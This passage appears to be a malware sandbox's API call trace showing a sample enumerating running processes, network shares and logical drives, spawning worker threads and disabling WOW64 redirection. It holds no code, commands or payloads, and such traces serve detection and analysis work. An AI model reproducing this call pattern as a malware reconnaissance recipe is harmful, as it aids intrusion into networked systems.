	[0088.108] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.109] lstrlenW (lpString="svchost.exe") returned 11
	[0088.109] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.109] lstrlenW (lpString="svchost.exe") returned 11
	[0088.109] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.110] lstrlenW (lpString="svchost.exe") returned 11
	[0088.110] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.110] lstrlenW (lpString="svchost.exe") returned 11
	[0088.110] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.111] lstrlenW (lpString="svchost.exe") returned 11
	[0088.111] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.111] lstrlenW (lpString="svchost.exe") returned 11
	[0088.111] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.112] lstrlenW (lpString="svchost.exe") returned 11
	[0088.112] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.112] lstrlenW (lpString="svchost.exe") returned 11
	[0088.112] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0088.113] lstrlenW (lpString="spoolsv.exe") returned 11
	[0088.113] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.113] lstrlenW (lpString="svchost.exe") returned 11
	[0088.113] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.114] lstrlenW (lpString="svchost.exe") returned 11
	[0088.114] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0088.115] lstrlenW (lpString="audiodg.exe") returned 11
	[0088.115] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0088.115] lstrlenW (lpString="sihost.exe") returned 10
	[0088.115] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.116] lstrlenW (lpString="svchost.exe") returned 11
	[0088.116] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0088.116] lstrlenW (lpString="taskhostw.exe") returned 13
	[0088.116] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0088.117] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0088.117] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0088.117] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0088.117] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0088.118] lstrlenW (lpString="explorer.exe") returned 12
	[0088.118] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0088.118] lstrlenW (lpString="Memory Compression") returned 18
	[0088.118] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0088.119] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0088.119] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0088.120] lstrlenW (lpString="SearchUI.exe") returned 12
	[0088.120] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0088.120] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0088.120] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0088.121] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0088.121] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0088.121] lstrlenW (lpString="taskhostw.exe") returned 13
	[0088.121] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0088.122] lstrlenW (lpString="UsoClient.exe") returned 13
	[0088.122] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0088.122] lstrlenW (lpString="taskhostw.exe") returned 13
	[0088.122] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0088.123] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0088.123] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0088.123] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0088.123] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0088.124] lstrlenW (lpString="msoia.exe") returned 9
	[0088.124] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0088.124] lstrlenW (lpString="msoia.exe") returned 9
	[0088.124] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0088.125] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0088.125] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace_subdivision.exe")) returned 1
	[0088.125] lstrlenW (lpString="screensaver_fireplace_subdivision.exe") returned 37
	[0088.125] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuitexml.exe")) returned 1
	[0088.126] lstrlenW (lpString="emptysuitexml.exe") returned 17
	[0088.126] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeatpreston.exe")) returned 1
	[0088.126] lstrlenW (lpString="defeatpreston.exe") returned 17
	[0088.126] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="governments-lottery-royalty.exe")) returned 1
	[0088.127] lstrlenW (lpString="governments-lottery-royalty.exe") returned 31
	[0088.127] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="legends.exe")) returned 1
	[0088.127] lstrlenW (lpString="legends.exe") returned 11
	[0088.127] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature.exe")) returned 1
	[0088.128] lstrlenW (lpString="miniature.exe") returned 13
	[0088.128] Process32NextW (hSnapshot=0x394, lppe=0x249fd2c) 

Thread:
	id = 5
	os_tid = 0xa7c

	[0055.260] WaitForSingleObject (hHandle=0x19fddc, dwMilliseconds=0xffffffff) returned 0xffffffff
	[0055.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5325b0 | out: hHeap=0x4f0000) returned 1

Thread:
	id = 6
	os_tid = 0x270

	[0055.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x58ceb0
	[0055.264] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x58ceb0, Size=0x20) returned 0x52d5c0
	[0055.264] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d5c0, Size=0x40) returned 0x507500
	[0055.264] GetLogicalDrives () returned 0x4
	[0055.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x58ced0
	[0055.264] GetComputerNameW (in: lpBuffer=0x58ced4, nSize=0x26dff64 | out: lpBuffer="NQDPDE", nSize=0x26dff64) returned 1
	[0055.264] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x59ced8
	[0055.264] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x26dff34 | out: lphEnum=0x26dff34*=0x505240) returned 0x0
	[0055.272] WNetEnumResourceW (in: hEnum=0x505240, lpcCount=0x26dff30, lpBuffer=0x59ced8, lpBufferSize=0x26dff38 | out: lpcCount=0x26dff30, lpBuffer=0x59ced8, lpBufferSize=0x26dff38) returned 0x103
	[0055.273] WNetCloseEnum (hEnum=0x505240) returned 0x0
	[0055.274] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x26dff34 | out: lphEnum=0x26dff34*=0x5e05f0) returned 0x0
	[0058.197] WNetEnumResourceW (in: hEnum=0x5e05f0, lpcCount=0x26dff30, lpBuffer=0x59ced8, lpBufferSize=0x26dff38 | out: lpcCount=0x26dff30, lpBuffer=0x59ced8, lpBufferSize=0x26dff38) returned 0x0
	[0058.197] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x3c370d8
	[0058.197] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x59ced8, lphEnum=0x26dff08 | out: lphEnum=0x26dff08*=0x505440) returned 0x0
	[0059.906] WNetEnumResourceW (in: hEnum=0x505440, lpcCount=0x26dff04, lpBuffer=0x3c370d8, lpBufferSize=0x26dff0c | out: lpcCount=0x26dff04, lpBuffer=0x3c370d8, lpBufferSize=0x26dff0c) returned 0x103
	[0059.906] WNetCloseEnum (hEnum=0x505440) returned 0x0
	[0059.906] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x3c340c0
	[0059.906] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x59cef8, lphEnum=0x26dff08 | out: lphEnum=0x26dff08*=0x0) returned 0x4b8
	[0079.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1000) returned 0x42f9a60
	[0079.031] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x59cf18, lphEnum=0x26dff08 | out: lphEnum=0x26dff08*=0x0) returned 0x4c6
	[0079.035] WNetEnumResourceW (in: hEnum=0x5e05f0, lpcCount=0x26dff30, lpBuffer=0x59ced8, lpBufferSize=0x26dff38 | out: lpcCount=0x26dff30, lpBuffer=0x59ced8, lpBufferSize=0x26dff38) returned 0x103
	[0079.035] WNetCloseEnum (hEnum=0x5e05f0) returned 0x0
	[0079.035] GetLogicalDrives () returned 0x4
	[0079.035] Sleep (dwMilliseconds=0x64) 
	[0079.544] GetLogicalDrives () returned 0x4
	[0079.544] Sleep (dwMilliseconds=0x64) 
	[0080.362] GetLogicalDrives () returned 0x4
	[0080.362] Sleep (dwMilliseconds=0x64) 
	[0081.392] GetLogicalDrives () returned 0x4
	[0081.393] Sleep (dwMilliseconds=0x64) 
	[0081.811] GetLogicalDrives () returned 0x4
	[0081.811] Sleep (dwMilliseconds=0x64) 
	[0082.172] GetLogicalDrives () returned 0x4
	[0082.172] Sleep (dwMilliseconds=0x64) 
	[0082.713] GetLogicalDrives () returned 0x4
	[0082.713] Sleep (dwMilliseconds=0x64) 
	[0083.153] GetLogicalDrives () returned 0x4
	[0083.153] Sleep (dwMilliseconds=0x64) 
	[0083.756] GetLogicalDrives () returned 0x4
	[0083.756] Sleep (dwMilliseconds=0x64) 
	[0084.531] GetLogicalDrives () returned 0x4
	[0084.531] Sleep (dwMilliseconds=0x64) 
	[0085.136] GetLogicalDrives () returned 0x4
	[0085.136] Sleep (dwMilliseconds=0x64) 
	[0085.831] GetLogicalDrives () returned 0x4
	[0085.831] Sleep (dwMilliseconds=0x64) 
	[0086.374] GetLogicalDrives () returned 0x4
	[0086.374] Sleep (dwMilliseconds=0x64) 
	[0086.617] GetLogicalDrives () returned 0x4
	[0086.617] Sleep (dwMilliseconds=0x64) 
	[0087.191] GetLogicalDrives () returned 0x4
	[0087.191] Sleep (dwMilliseconds=0x64) 
	[0087.648] GetLogicalDrives () returned 0x4
	[0087.648] Sleep (dwMilliseconds=0x64) 
	[0088.133] GetLogicalDrives () returned 0x4
	[0088.133] Sleep (dwMilliseconds=0x64) 

Thread:
	id = 7
	os_tid = 0xdf0

	[0056.357] GetTickCount () returned 0x114e8bb
	[0056.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x54b2d8
	[0056.357] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x54b2d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c
	[0056.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x54b2d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0
	[0056.359] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x54b2d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4
	[0056.359] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x54b2d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8
	[0056.360] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x549fa0
	[0056.360] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x549fa0, Size=0x20) returned 0x52d340
	[0056.360] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x549ee0
	[0056.360] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x549ee0, Size=0x20) returned 0x52d368
	[0056.360] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0056.360] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0056.360] Wow64DisableWow64FsRedirection (in: OldValue=0x281ff7c | out: OldValue=0x281ff7c*=0x0) returned 1
	[0056.361] lstrlenW (lpString="kernel32.dll") returned 12
	[0056.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d340 | out: hHeap=0x4f0000) returned 1
	[0056.361] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0056.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d368 | out: hHeap=0x4f0000) returned 1
	[0056.361] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x534630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac
	[0056.361] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0057.478] GetTickCount () returned 0x114ed20
	[0057.478] GetTickCount () returned 0x114ed20
	[0057.478] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0057.677] GetTickCount () returned 0x114eddc
	[0057.677] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0058.267] GetTickCount () returned 0x114f02d
	[0058.267] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0060.020] GetTickCount () returned 0x114f703
	[0060.020] GetTickCount () returned 0x114f703
	[0060.020] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0060.478] GetTickCount () returned 0x114f8c9
	[0060.478] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0060.782] GetTickCount () returned 0x114fa30
	[0060.843] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0061.110] GetTickCount () returned 0x114fb3a
	[0061.110] GetTickCount () returned 0x114fb3a
	[0061.110] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0061.609] GetTickCount () returned 0x114fd3d
	[0061.609] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0062.361] GetTickCount () returned 0x115002b
	[0062.361] GetTickCount () returned 0x115002b
	[0062.361] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0062.821] GetTickCount () returned 0x11501f0
	[0062.821] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0063.702] GetTickCount () returned 0x115057b
	[0063.712] GetTickCount () returned 0x115057b
	[0063.712] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0064.216] GetTickCount () returned 0x115076f
	[0064.216] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0065.005] GetTickCount () returned 0x1150a7c
	[0065.005] GetTickCount () returned 0x1150a7c
	[0065.005] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0065.261] GetTickCount () returned 0x1150b85
	[0065.261] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0065.926] GetTickCount () returned 0x1150e16
	[0065.926] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0066.477] GetTickCount () returned 0x1151039
	[0066.477] GetTickCount () returned 0x1151039
	[0066.477] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0067.237] GetTickCount () returned 0x1151336
	[0067.237] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0068.026] GetTickCount () returned 0x1151643
	[0068.026] GetTickCount () returned 0x1151643
	[0068.027] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0069.005] GetTickCount () returned 0x1151a2b
	[0069.005] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0069.584] GetTickCount () returned 0x1151c5e
	[0069.584] GetTickCount () returned 0x1151c5e
	[0069.584] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0070.165] GetTickCount () returned 0x1151ea0
	[0070.165] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0070.870] GetTickCount () returned 0x115216f
	[0070.870] GetTickCount () returned 0x115216f
	[0070.870] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0071.097] GetTickCount () returned 0x1152259
	[0071.097] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0071.690] GetTickCount () returned 0x115249b
	[0071.690] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0071.888] GetTickCount () returned 0x1152566
	[0071.888] GetTickCount () returned 0x1152566
	[0071.888] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0072.312] GetTickCount () returned 0x115270c
	[0072.312] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0072.931] GetTickCount () returned 0x115297d
	[0072.931] GetTickCount () returned 0x115297d
	[0072.931] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0073.286] GetTickCount () returned 0x1152ad5
	[0073.286] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0073.789] GetTickCount () returned 0x1152cc9
	[0073.789] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0074.171] GetTickCount () returned 0x1152e50
	[0074.172] GetTickCount () returned 0x1152e50
	[0074.172] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0074.963] GetTickCount () returned 0x115315d
	[0074.963] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0075.230] GetTickCount () returned 0x1153276
	[0075.230] GetTickCount () returned 0x1153276
	[0075.230] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0075.560] GetTickCount () returned 0x11533be
	[0075.560] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0076.078] GetTickCount () returned 0x11535c2
	[0076.078] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0076.546] GetTickCount () returned 0x1153797
	[0076.547] GetTickCount () returned 0x1153797
	[0076.547] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0076.961] GetTickCount () returned 0x115392d
	[0076.961] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
